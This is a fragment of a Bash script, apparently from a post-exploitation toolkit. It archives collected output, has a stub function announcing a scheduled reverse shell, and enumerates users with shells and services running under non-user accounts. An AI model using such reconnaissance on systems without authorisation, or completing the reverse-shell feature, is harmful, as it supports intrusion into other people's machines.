if orc_archive "$HOME/f" "$OUTP"; then
echo "Find the output files in $ORC_ARCHIVE_FILE"
# Remove the single log files. Keep only the archive file.
rm -rf "$OUTP"
else
echo "Error: can not archive, the files are in $OUTP" >&2
fi
}
timedshell() {
echo "scheduling a reverse shell to launch later..."
}
getusers() {
echo "Listing valid users with shells."
orc_listUsers
}
getuservices() {
echo "Listing all running services with non-user accounts in passwd."
{ orc_listUsers; ps --no-header -weFH; } |
awk 'NF==1 {users[$1]=1}
NF>1 && !($1 in users) {print}'
}